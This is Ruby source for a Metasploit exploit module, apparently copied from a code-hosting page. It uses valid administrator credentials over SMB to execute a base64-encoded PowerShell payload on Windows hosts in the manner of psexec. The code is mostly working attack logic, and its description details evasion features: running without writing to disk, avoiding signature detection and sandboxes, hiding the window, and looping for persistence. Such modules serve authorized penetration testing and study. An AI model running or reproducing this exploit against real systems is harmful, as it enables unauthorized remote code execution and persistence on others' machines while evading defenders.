98 lines
3.6 KiB
Ruby
98 lines
3.6 KiB
Ruby
# -*- coding: binary -*-
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##
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# This module requires Metasploit: http//metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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require 'msf/core'
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require 'msf/core/exploit/powershell'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = ManualRanking
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# Exploit mixins should be called first
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include Msf::Exploit::Remote::SMB::Psexec
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include Msf::Exploit::Powershell
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Microsoft Windows Authenticated Powershell Command Execution',
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'Description' => %q{
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This module uses a valid administrator username and password to execute a powershell
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payload using a similar technique to the "psexec" utility provided by SysInternals. The
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payload is encoded in base64 and executed from the commandline using the -encodedcommand
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flag. Using this method, the payload is never written to disk, and given that each payload
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is unique, is less prone to signature based detection. A persist option is provided to
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execute the payload in a while loop in order to maintain a form of persistence. In the
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event of a sandbox observing PSH execution, a delay and other obfuscation may be added to
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avoid detection. In order to avoid interactive process notifications for the current user,
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the psh payload has been reduced in size and wrapped in a powershell invocation which hides
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the window entirely.
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},
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'Author' => [
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'Royce @R3dy__ Davis <rdavis[at]accuvant.com>', # PSExec command module
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'RageLtMan <rageltman[at]sempervictus' # PSH exploit, libs, encoders
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],
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'License' => MSF_LICENSE,
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'Privileged' => true,
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'DefaultOptions' =>
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{
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'WfsDelay' => 10,
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'EXITFUNC' => 'thread'
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},
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'Platform' => 'win',
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'Targets' =>
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[
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[ 'Automatic', { 'Arch' => [ ARCH_X86, ARCH_X86_64 ] } ]
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],
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'DefaultTarget' => 0,
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'DisclosureDate' => 'Jan 01 1999',
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'References' => [
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[ 'CVE', '1999-0504'], # Administrator with no password (since this is the default)
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[ 'OSVDB', '3106'],
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[ 'URL', 'http://www.accuvant.com/blog/2012/11/13/owning-computers-without-shell-access' ],
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[ 'URL', 'http://sourceforge.net/projects/smbexec/' ],
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[ 'URL', 'http://technet.microsoft.com/en-us/sysinternals/bb897553.aspx' ]
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]
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))
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register_options([
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OptBool.new('DryRun',[false,'Prints the powershell command that would be used',false]),
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], self.class)
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end
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def exploit
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command = cmd_psh_payload(payload.encoded, payload_instance.arch.first)
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if datastore['DryRun']
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print_good command.inspect
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return
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end
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if datastore['PSH::persist'] and not datastore['DisablePayloadHandler']
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print_warning("You probably want to DisablePayloadHandler and use exploit/multi/handler with the PSH::persist option")
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end
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# Try and authenticate with given credentials
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if connect
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begin
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smb_login
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rescue StandardError => autherror
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fail_with(Exploit::Failure::NoAccess, "#{peer} - Unable to authenticate with given credentials: #{autherror}")
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end
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# Execute the powershell command
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print_status("#{peer} - Executing the payload...")
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begin
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return psexec(command)
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rescue StandardError => exec_command_error
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fail_with(Exploit::Failure::Unknown, "#{peer} - Unable to execute specified command: #{exec_command_error}")
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ensure
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disconnect
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end
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end
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end
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end
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